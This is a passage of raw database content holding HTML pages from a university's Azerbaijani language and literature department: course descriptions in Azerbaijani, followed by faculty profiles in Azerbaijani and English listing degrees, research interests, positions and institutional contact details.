kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Tarixi qrammatika, nitq hissələrinin inkişaf prosesləri\r\nhaqqında ümumi məlumat verir.&nbsp;Kursda Azərbaycan dilinin fonetika və morfologiya\r\ntarixi araşdırılır, dilin mənşəyi və onun morfoloji xüsusiyyətlərinin tarixi\r\ninkişafı təhlil edilir, müasir dilin yaranması izah olunur.</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n215: Dilçiliyə giriş (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Dillərin və dil ailələrinin tarixi keçmişi,\r\nformalaşması,&nbsp;ümumi xüsusiyyətləri və müxtəlifliyini öyrənir. Linqvistik\r\ntəhlilin, o cümlədən regional və sosial dialektlərin qiymətləndirilməsi və dəyişməsinin\r\nmetodlarına və üsullarına əsas diqqət verilir. Tarixi və nəzəri cəhətdən\r\ndilçilikdə qiymətləndirilmə modellərinin inkişafından da bəhs edilir.</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n216: Dilçiliyin əsasları (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Dilçiliyin tədqiqinin ümumi problemlərini araşdırır,\r\ndilçiliyin yaranması və&nbsp; inkişafı, dünya dilləri və onların təsnifatları,\r\ndil və yazı arasında əlaqələri, yazının mənşəyi, onun xüsusiyyətləri və inkişaf\r\ndövrlərini əhatə edir.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n310: Fonologiya (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LING\r\n216</strong></p>\r\n<p>Danışıq səsləri və fonetik hadisələr (tonun hündürlüyü,\r\nuzunluğu və gücü), sözlərin məna fərqləndirici ünsürü (fonem), morfemlər və\r\ndilin&nbsp;fonem sistemi və onların funksional xüsusiyyətlərindən bəhs edir.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n420:&nbsp;Dünya dilləri (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LING\r\n215</strong></p>\r\n<p>Kursda dünyadakı dil ailələri, dillərin genetik və\r\ntipoloji təsnifi, dillər arasında tarixi münasibətlər araşdırılır.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n421: Sosiolinqvistika (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LING\r\n215</strong></p>\r\n<p>Kursda dillərin müxtəlifliyinin, dildə baş verən dəyişikliyin\r\nsosial amilləri, linqvistik davranış və sosial nəzarət məsələləri araşdırılır,\r\ndilçiliyin tədqiqat metodları öyrənilir.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>LING\r\n422: Linqvistik təhlil (8 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LING\r\n215</strong></p>\r\n<p>Müxtəlif dillərin fonoloji, morfoloji və sintaktik məlumatların\r\ntəhlil üsullarını, aşkara çıxarılan, təsdiq edilən və əsaslandırılan ümumiləşdirmələri,\r\nmüxtəlif dillərin müqayisəsini öyrədir.&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Ling\r\n423: Dilçilik tarixi (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LING\r\n215</strong></p>\r\n<p>Bu kursda dilçilik elminin tarixi, dilin mənşəyi və\r\ninkişafının tarixi öyrədilir, dilin inkişafına dair &nbsp;müxtəlif nəzəriyyələrdən\r\nbəhs edilir.</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n201:&nbsp; Dünya Uşaq ədəbiyyatı (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;AZLL\r\n105</strong></p>\r\n<p>Kursda Dünya Uşaq ədəbiyyatının görkəmli yaradıcıları,\r\nonların əsərləri barədə məlumat verilir, təhlillər aparılır, uşaq ədəbiyyatının\r\ntədrisi üçün&nbsp;bilik və bacarıqlarla təmin edilir.</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n305-405: Dünya ədəbiyyatı 1-3</strong></p>\r\n<p>Bu fənn qədim zamanlardan başlayaraq dünyanın müxtəlif\r\nölkələrində yaradılmış ədəbiyyat nümunələrinin öyrənilməsini əhatə edir. Dünya ədəbiyyatının\r\naparıcı xadimlərinin həyat və fəaliyyəti&nbsp; və ən məşhur ədəbi əsərləri\r\nxronoloji qaydada öyrənilir. Fənn üç bölmədən ibarətdir. Hər bir bölmə 1\r\nsemestr davam edir və 6 kreditdən ibarətdir:</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n305: Dünya ədəbiyyatı 1: Qədim və Orta əsrlər Şərq ədəbiyyatı; Antik ədəbiyyatı\r\ntarixi</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n308: Dünya ədəbiyyatı 2: 13-18-ci əsrlərdə Avropa ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LIT\r\n305</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n405 Dünya Ədəbiyyatı 3:&nbsp; 19-20-ci əsrlərdə Avropa, Amerika və Rus ədəbiyyatı</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;LIT\r\n308</strong></p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n505: Müasir ədəbi proses (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Bu fənnin əsas məqsədi son illərin ədəbi əsərlərinin təhlili\r\nəsasında&nbsp;ədəbiyyatın inkişaf tendensiyalarını anlatmaqdır. Bu kurs ənənə və\r\nmüasirlik, yaşlı və yeni ədəbi qüvvələr arasında&nbsp; ədəbi&nbsp;münasibətlər,&nbsp;janrlar üzrə konkret nümunələrin təhlili ilə müasir ədəbi prosesin mövzu, məzmun,\r\nüslub, janr və sənətkarlıq xüsusiyyətləri kimi məsələləri əhatə edir. Həmçinin\r\ndünya ədəbiyyatının Azərbaycan ədəbiyyatına təsiri, Azərbaycan ədəbiyyatının\r\ndünya ədəbiyyatına inteqrasiyası məsələləri də kursun həcminə daxildir.</p>\r\n<p><strong><br></strong></p><p><strong>LIT\r\n507: Ədəbi tənqid (tarixi və nəzəriyyəsi) (6 <strong>ECTS</strong>  kredit)</strong></p>\r\n<p><strong>Prerekvizit:&nbsp;müəllimin\r\nrazılığı</strong></p>\r\n<p>Kursda ədəbi tənqidin rolu, əhəmiyyəti, tarixi, nəzəri\r\nqaydaları öyrədilir. Bu fənn estetikanın tələbləri əsasında ədəbiyyatın əhəmiyyətini\r\nöyrənir, sosial həyat və ədəbiyyat arasında harmoniyanı qiymətləndirir və ədəbi\r\nəsərləri cəmiyyətin maraqları və tələbləri baxımından təhlil edir. Ədəbi tənqid\r\nədəbi əsərlərin keyfiyyətinin artırılmasına və ədəbiyyatı qiymətləndirməyə, həmçinin\r\noxucuların ədəbi əsərləri düzgün anlamasına və bədii zövqlərinin formalaşmasına\r\nyardımçı olur.</p>'),(493,323,'az','İşçi heyəti','İşçi heyəti','<p><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\"><strong><img src=\"http://www.khazar.org/files/azelang_depart/veyyub.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Vurğun Əyyub</strong></a>&nbsp;</p><p>Filologiya elmləri namizədi&nbsp;(Azərbaycan&nbsp;Dövlət&nbsp;Pedaqoji&nbsp;Universiteti, Azərbaycan ədəbiyyatı)</p><p>Aspirantura&nbsp;(Azərbaycan&nbsp;Dövlət&nbsp;Pedaqoji Universiteti,&nbsp;Azərbaycan dili və ədəbiyyatı)</p>\r\n<p><strong>Tədqiqat maraqları:</strong>&nbsp;Azərbaycan ədəbiyyatı, ədəbiyyat nəzəriyyəsi,</p><p style=\"padding-left:160px\">&nbsp;Azərbaycan nəsri, folklor, təhsil, təhsil siyasəti,&nbsp;sosial tədqiqatlar</p><p style=\"padding-left:160px\"><strong>&nbsp;Vəzifəsi: </strong>Azərbaycan dili və ədəbiyyat departamentinin müdiri</p><p style=\"padding-left:160px\"><strong>&nbsp;</strong><strong>E-mail:</strong><strong>&nbsp;</strong><a href=\"mailto:Veyyub@khazar.org\">veyyub[at]khazar.org</a>  <a href=\"mailto:Veyyub@khazar.org\"></a>  </p><p style=\"padding-left:160px\"><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (228)  </p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\"><strong><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin:7px;float:left\">Elza Səmədli</strong></a><strong></strong>&nbsp;</p><p>Fəlsəfə doktoru&nbsp;(Səlcuq Universiteti, Sosial Elmlər\r\nİnstitutu, Türkiyə)</p><p>Magistr&nbsp;(Türk dilləri,&nbsp;Ərciyəs Universiteti,&nbsp;Türkiyə)</p>\r\n<p><strong>Tədqiqat maraqları:</strong>&nbsp;tarixi və müasir türk ləhcələri, ədəbiyyat,\r\ndilçilik, təhsil, mədəniyyət</p>\r\n<p><strong>Vəzifəsi: </strong>Təhsil fakültəsinin dekanı</p><p><strong>&nbsp;E-mail:&nbsp;</strong><a href=\"http://mailto:esemedova@khazar.org/\"></a><a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Dilber_ZeynalovaAZ.pdf\"><img src=\"/files/letters/1468128825765.jpg\" style=\"float:left;margin:7px;width:150px;height:205px\"></a><a href=\"http://www.khazar.org/files/pdf/Dilber_ZeynalovaAZ.pdf\"><strong>Dilbər Zeynalova</strong></a>&nbsp;</p><p>Filologiya üzrə&nbsp;Fəlsəfə doktoru, dosent (Azərbaycan Dillər\r\nUniversiteti)</p><p>Aspirantura (M.F.Axundov adına Rus dili və ədəbiyyatı İnstitutu)</p>\r\n<p><strong>Tədqiqat maraqları:</strong>&nbsp;ədəbiyyat, tərcümə, mədəniyyət, təhsil</p><p><strong>Vəzifəsi:</strong> Müəllim</p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\"><img src=\"http://www.khazar.org/files/azelang_depart/reyhan_mm.jpg\" style=\"float:left;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Reyhan Mədətova</strong></a>&nbsp;</p>\r\n<p>Fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmlər\r\nAkademiyası, Dilçilik İnstitutu, Azərbaycan dilçiliyi)</p><p>Aspirantura (Azərbaycan dili və ədəbiyyatı,&nbsp;Bakı Dövlət Universiteti, Azərbaycan)</p>\r\n<p><strong>Tədqiqat maraqları:</strong> dilçilik, dilçilik tarixi, fonologiya</p><p style=\"padding-left:160px\"><strong>&nbsp;Vəzifəsi:</strong> Müəllim</p>\r\n<hr>\r\n<a href=\"http://www.khazar.org/files/pdf/Ilahe_Qurbanova_CV.pdf\"><img src=\"/files/azelang_depart/Ilaha-Qurbanova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><p><a href=\"http://www.khazar.org/files/pdf/Ilahe_Qurbanova_CV.pdf\"><strong>İlahə\r\nQurbanova</strong></a>&nbsp;</p><p>Fəlsəfə doktoru&nbsp;(Azərbaycan&nbsp;Milli&nbsp;Elmlər&nbsp;Akademiyası\r\nNəsimi adına Dilçilik İnstitutu,&nbsp;Müasir Azərbaycan dili)</p><p>Magistratura (Bakı Dövlət Universiteti,&nbsp;Müasir Azərbaycan dili)</p><p><strong>Tədqiqat maraqları:</strong>&nbsp;Azərbaycan dili dialektologiyası, etnolinqvistika  </p><p><strong>Vəzifəsi:</strong> Müəllim</p><p><br></p>\r\n<hr>\r\n<a href=\"http://www.khazar.org/files/azelang_depart/Qetibe%20Mahmudova.pdf\"><img src=\"/files/azelang_depart/Q%C9%99tib%C9%99%20Mahmudova.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"></a><p><strong><a href=\"http://www.khazar.org/files/azelang_depart/Qetibe%20Mahmudova.pdf\">Qətibə Mahmudova</a>&nbsp;</strong></p><p>Fəlsəfə doktoru (Azərbaycan Milli Elmlər&nbsp;Akademiyası, Nəsimi adına Dilçilik İnstitutu,&nbsp;Türk dilləri)</p><p>Magistratura (Azərbaycan Dövlət Pedaqoji Universiteti,&nbsp;Müqayisəli dilçilik)</p><p><strong>Tədqiqat maraqları:</strong>&nbsp;Türk dilləri,&nbsp;Müasir Azərbaycan dili və frazeologiya</p><p style=\"padding-left:160px\"><strong>&nbsp;Vəzifəsi:</strong> Müəllim&nbsp;</p><p style=\"padding-left:160px\"><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/Qarda%C5%9Fxan%20%C6%8Fzizxanl%C4%B1.pdf\"><img src=\"http://www.khazar.org/files/azelang_depart/gardashkhan_a.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Qardaşxan Əzizxanlı</strong></a><strong>&nbsp;</strong></p><p>Filologiya üzrə doktorant (Azərbaycan ədəbiyyatı,&nbsp;Xəzər Universiteti,&nbsp;Azərbaycan)</p><p>Magistratura&nbsp;(Jurnalistika,&nbsp;Bakı Dövlət Universiteti, Azərbaycan)</p><p><strong>Tədqiqat maraqları:</strong> Azərbaycan ədəbiyyatı, dünya ədəbiyyatı, dilçilik, fəlsəfə&nbsp;və mədəniyyət</p><p style=\"padding-left:160px\"><strong>&nbsp;Vəzifəsi:</strong>&nbsp;Müəllim</p>\r\n<hr>\r\n<p><img src=\"/files/letters/vafa.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\"><strong>Vəfa Aslanova</strong></a>&nbsp;</p><p>Magistr (Azərbaycan dili,&nbsp;Azərbaycan Dillər Universiteti)</p><p><strong>Vəzifəsi:</strong> Müəllim   <br></p>\r\n<p>&nbsp;</p><p><br></p><hr style=\"width:100%;height:1px\" noshade=\"noshade\"><p><a href=\"http://www.khazar.org/files/pdf/Elmira_Mammadova.pdf\"><img src=\"http://www.khazar.org/files/azelang_depart/Elmira%20M%C9%99mm%C9%99dova.jpg\" style=\"width:150px;height:180px;margin:7px;float:left\"></a><a href=\"http://www.khazar.org/files/pdf/Elmira_Mammadova.pdf\"><strong>Elmira Məmmədova Kekeç</strong></a><strong></strong>&nbsp;</p>\r\n<p>Fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmlər Akademiyası, Azərbaycan ədəbiyyatı)</p><p>Magistratura&nbsp;(Xarici ölkə xalqları&nbsp;ədəbiyyatı,&nbsp;Bakı Dövlət Universiteti, Azərbaycan)</p>\r\n<p><strong>Tədqiqat maraqları:</strong> türk xalqları ədəbiyyatı, xarici ölkələr\r\nədəbiyyatı</p><p><strong>Vəzifəsi:</strong> Müəllim</p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/CV-Europass-Xatira_Yusifova.pdf\"><strong><img src=\"/files/letters/xatira.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Xatirə Yusifova</strong></a>&nbsp;<a href=\"http://www.khazar.org/files/azelang_depart/Xatira%20Yusifova.pdf\"><br></a></p><p>Fəlsəfə doktoru&nbsp;(Azərbaycan&nbsp;Milli&nbsp;Elmlər&nbsp;Akademiyası, Füzuli adına Əlyazmalar İnstitutu,&nbsp;Azərbaycan ədəbiyyatı)</p><p>Magistratura (Azərbaycan ədəbiyyatı,&nbsp;  Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p><strong>Tədqiqat maraqları:</strong> Əski Azərbaycan əlifbası,&nbsp;Qədim və orta əsrlər klassik ədəbiyyat</p><p><strong>Vəzifəsi:</strong>&nbsp;Müəllim&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\"><strong><img src=\"/files/letters/sevinc.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></a><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\"><strong>Sevinc\r\nAğayeva</strong></a></p><p>Fəlsəfə doktoru (Azərbaycan\r\nMilli Elmlər\r\nAkademiyası,\r\nNəsimi adına\r\nDilçilik\r\nİnstitutu,&nbsp;Dilşünaslıq)</p><p>Magistratura&nbsp;(Dilşünaslıq,&nbsp;Lənkəran Dövlət Universiteti, Azərbaycan)</p><p><strong>Tədqiqat maraqları:</strong> Müasir və qədim dillər</p><p><strong>Vəzifəsi:</strong> Müəllim</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/Aynur_Gazanfargizi_CV(TR).pdf\"><img src=\"/files/azelang_depart/images/aynur_gezenfergizi.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynur Qəzənfərqızı</a></strong></p><p>Fəlsəfə doktoru (Folklor İnstitutu, Azərbaycan Milli Elmlər Akademiyası)</p><p>Magistratura (Filologiya-Ədəbiyyat Nəzəriyyəsi,&nbsp;Azərbaycan Dövlət\r\nPedaqoji\r\nUnversiteti)</p><p><strong>Vəzifəsi:</strong>&nbsp;Müəllim</p><p><br></p>  \r\n<hr>\r\n<p><strong><img src=\"/files/azelang_depart/images/getibe_guliyeva.jpg\" style=\"width:150px;height:226px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/azelang_depart/CV/getibe_guliyeva_CV.pdf\">Qətibə Quliyeva</a></strong></p><p>Fəlsəfə doktoru (Nəsimi adına Dilçilk İnstitutu, Azərbaycan Milli Elmlər Akademiyası)</p><p>Magistratura (Dilşünaslıq/Türkologiya,&nbsp;Bakı Dövlət Universiteti,&nbsp;Azərbaycan)</p><p><strong>Vəzifəsi:</strong>&nbsp;Müəllim<br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/azelang_depart/images/hilale_ibadova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/hilale_ibadova_CV.pdf\">Hilalə&nbsp;İbadova</a></strong></p><p>Fəlsəfə doktoru (Folklorşünaslıq,&nbsp;Azərbaycan Milli Elmlər Akademiyası)</p><p>Magistratura&nbsp;(Filologiya,&nbsp;Azərbaycan Ədəbiyyatı,&nbsp;Sumqayıt&nbsp;Dövlət Universiteti,&nbsp;Azərbaycan)</p><p><strong></strong><strong>Vəzifəsi:</strong>&nbsp;Müəllim&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/azelang_depart/images/zamina_ziyayeva.jpg\" style=\"width:150px;height:115px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/zamina_ziyayeva_cv.pdf\">Zəminə&nbsp;Ziyayeva</a></strong></p><p>Fəlsəfə doktoru (Müasir&nbsp;Türk&nbsp;Dilləri və Ədəbiyyatları,&nbsp;Ankara&nbsp;Universiteti,&nbsp;Türkiyə)</p><p>Magistratura&nbsp;(Müasir Türk Dilləri və Ədəbiyyatları,&nbsp;Ankara&nbsp;Universiteti,&nbsp;Türkiyə)</p><p style=\"padding-left:160px\"><strong></strong><strong>Vəzifəsi:</strong>&nbsp;Müəllim&nbsp;</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/leyla_yusifova_cv.pdf\"><img src=\"/files/azelang_depart/images/leyla_yusifova.jpg\" style=\"width:150px;height:162px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Leyla Yusifova</a></strong></p><p style=\"padding-left:0px\">Filologiya üzrə fəlsəfə doktoru&nbsp;(Azərbaycan Milli Elmlər Akademiyası)  <br></p><p style=\"padding-left:0px\">Ümumi dilçilik üzrə magistr&nbsp;(Bakı&nbsp;Dövlət&nbsp;Universiteti, Azərbaycan)</p><p style=\"padding-left:0px\"><strong>Vəzifəsi:</strong>&nbsp;Müəllim  <br></p><p style=\"padding-left:0px\"><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/azelang_depart/CV/kamila_badalova_CV.PDF\"><img src=\"/files/azelang_depart/images/kamila_badalova.jpg\" style=\"width:150px;height:235px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kamilə Bədəlova</a></strong></p><p><strong>Vəzifəsi:</strong>  Assistent</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:kbadalova@khazar.org\">kbadalova[at]khazar.org</a>    </p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (228)  </p><p><br></p>'),(494,323,'en','Faculty','Faculty','<p><strong><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\"><img src=\"/files/azelang_depart/veyyub.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Vurgun\r\nEyyub</a></strong></p><p>PhD in\r\nPhilology, Associate Professor (Azerbaijan State Pedagogical University)</p><p>MS&nbsp;in Azerbaijan Language and Literature  (Azerbaijan State Pedagogical University)</p>\r\n<p style=\"padding-left:160px\"><strong><em>Research\r\nInterests: </em></strong>Azerbaijan Literature, Theory of Literature,<br>Azerbaijani Prose,&nbsp;Folklore,&nbsp;Education, Education\r\nPolicy, Social Research</p><p style=\"padding-left:160px\"><strong>Position: </strong>Head of the Department&nbsp;&nbsp;</p><p style=\"padding-left:160px\"><strong>E-mail:</strong>  <a href=\"http://mailto:Veyyub@khazar.org\">Veyyub[at]khazar.org</a></p><p style=\"padding-left:160px\"><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (228)  </p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\"><strong><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin:7px;float:left\"></strong></a><strong><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza Samedova</a></strong><strong></strong></p>\r\n<p>PhD&nbsp;in&nbsp;Turkic Languages  (Selcuk University,&nbsp;Institute of Social Sciences,&nbsp;Turkey)&nbsp;</p><p>MS&nbsp;in Turkic Languages (Erciyes University,&nbsp;Turkey)</p>\r\n<p><strong><em>Research interests:</em></strong><strong>&nbsp;</strong>Historical And Modern Turkic Dialects, Literature, Linguistics,\r\nEducation, Culture</p>\r\n<p style=\"padding-left:160px\"><strong>Position:</strong> Dean of the School of Education</p><p style=\"padding-left:160px\"><strong>E-mail: </strong><a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Dilber_ZeynalovaAZ.pdf\"><img src=\"/files/azelang_depart/1468128825765.jpg\" style=\"width:150px;height:205px;margin:7px;float:left\">Dilbar\r\nZeynalova</a></strong></p>\r\n<p>PhD in Philology,&nbsp;Associate\r\nProfessor&nbsp;(Azerbaijan University of Languages)</p><p>MS&nbsp;in Philology&nbsp;(The Institute of&nbsp;Russian Language and Literature named after M.F.Akhundov, Azerbaijan)</p>\r\n<p><strong><em>Research\r\ninterests:</em>&nbsp;</strong>Literature,\r\nTranslation, Culture, Education</p>\r\n<p><strong>Position:</strong> Teacher</p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Reyhan_Madatova_CV.pdf\"><img src=\"/files/azelang_depart/reyhan_mm.jpg\" style=\"border:0px  #0000ee;width:150px;height:174px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Reyhan Madatova</a>&nbsp;</strong><strong></strong></p>\r\n<p>PhD in&nbsp;Azerbaijani Language and Literature  (Institute of&nbsp;Linguistics,&nbsp;Azerbaijan National Academy of Sciences)</p><p>MS&nbsp;in&nbsp;Azerbaijani Language and Literature  (Baku State University, Azerbaijan)</p>\r\n<p><strong><em>Research interests</em></strong><strong>:&nbsp;</strong>Linguistics, History Linguistics, Phonology</p><p style=\"padding-left:160px\"><strong>Position:</strong> Teacher</p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Ilahe_Qurbanova_CV.pdf\"><img src=\"/files/azelang_depart/Ilaha-Qurbanova.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong>Ilaha&nbsp;Gurbanova</strong></a>&nbsp;<strong>&nbsp;</strong>  </p><p>PhD in&nbsp;Modern Azerbaijani Language  (Azerbaijan National Academy of Science)</p><p>MS&nbsp;in&nbsp;Modern Azerbaijani Language  (Baku State University, Azerbaijan)</p><p><strong><em>Research interests:&nbsp;</em></strong>&nbsp;Azerbaijani Dialectology, Ethnolinguistics</p><p><strong>Position:</strong> Teacher&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/azelang_depart/Q%C9%99tib%C9%99%20Mahmudova.jpg\" style=\"width:150px;height:197px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/azelang_depart/Qetibe%20Mahmudova.pdf\">Gatiba&nbsp;Mahmudova</a></strong></p><p>PhD in Turkic Languages,&nbsp;Associate Professor (Azerbaijan National Academy of Sciences, Institute of&nbsp; Linguistics, Azerbaijan)</p><p>MS&nbsp;in&nbsp;Comparative Linguistics (Azerbaijan&nbsp;State&nbsp;Pedagogical&nbsp;University)</p><p><strong><em>Research interests:</em></strong> Turcology, Linguistcis and Modern Azerbaijani Language</p><p style=\"padding-left:160px\"><strong>Position:</strong> Teacher&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/Qarda%C5%9Fxan%20%C6%8Fzizxanl%C4%B1.pdf\"><img src=\"/files/azelang_depart/gardashkhan_a.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Gardashkan Azizkhanli</strong></a><strong> </strong><br></p><p>PhD&nbsp;candidate&nbsp;in&nbsp;Azerbaijani Literature  (Khazar University, Azerbaijan)</p><p>MS&nbsp;in Journalism&nbsp;(Baku State University, Azerbaijan)</p><p><strong><em>Research interests:</em></strong> Azerbaijan Literature, World Literature,&nbsp;Linguistics, Philosophy,&nbsp;Culture</p><p style=\"padding-left:160px\"><strong>Position:</strong> Teacher</p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Vafa_Aslanova.pdf\"><img src=\"/files/letters/vafa.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Vafa Aslanova</a>&nbsp;</strong></p><p>MA&nbsp;in Azerbaijani Language&nbsp;(Azerbaijan\r\nUniversity of Languages)</p><p><strong>Position:</strong> Teacher&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/Elmira_Mammadova.pdf\"><img src=\"/files/azelang_depart/Elmira%20M%C9%99mm%C9%99dova.jpg\" style=\"width:150px;height:180px;margin:7px;float:left\">Elmira\r\nMammadova</a>&nbsp;</strong></p>\r\n<p>PhD&nbsp;in Turkic Literature  (Azerbaijan\r\nNational Academy of Science)</p><p>MS&nbsp;in Foreign Literature&nbsp;(Baku State University, Azerbaijan)</p>\r\n<p><strong><em>Research interests:&nbsp;</em></strong>Turkic Studies, World Literature</p><p><strong>Position:</strong> Teacher   <br></p>\r\n<p><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/azelang_depart/CV-Europass-Xatira_Yusifova.pdf\"><strong><img src=\"/files/letters/xatira.jpg\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Khatira Yusifova</strong></a><strong>&nbsp;</strong><a href=\"http://www.khazar.org/files/azelang_depart/Xatira%20Yusifova.pdf\"><br></a></p><p>PhD&nbsp;in Philology&nbsp;(Azerbaijan National Academy of Sciences, Manuscript Institute&nbsp;named after&nbsp;M.Fuzuli)</p><p>MS&nbsp;in&nbsp;Azerbaijani Literature (Baku State University, Azerbaijan)</p><p><strong><em>Research interests:</em></strong>&nbsp;Old Azerbaijani Alphabet,&nbsp;Old and Medieval Azerbaijani Literature<br></p><p style=\"padding-left:160px\"><strong>Position:</strong> Teacher&nbsp;</p><p style=\"padding-left:160px\"><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Sevinc_A%C4%9Fayeva-CV.pdf\"><img src=\"/files/letters/sevinc.jpg\" style=\"float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong>Sevinc Agayeva</strong></a>&nbsp;</p><p>PhD in&nbsp;Linguistics&nbsp;(Azerbaijan National Academy of Science)</p><p>MS&nbsp;in Linguistics&nbsp;(Lankaran State University, Azerbaijan)</p><p><strong><em>Research interests:</em></strong>&nbsp;Modern and Old Languages<br></p><p><strong>Position:</strong> 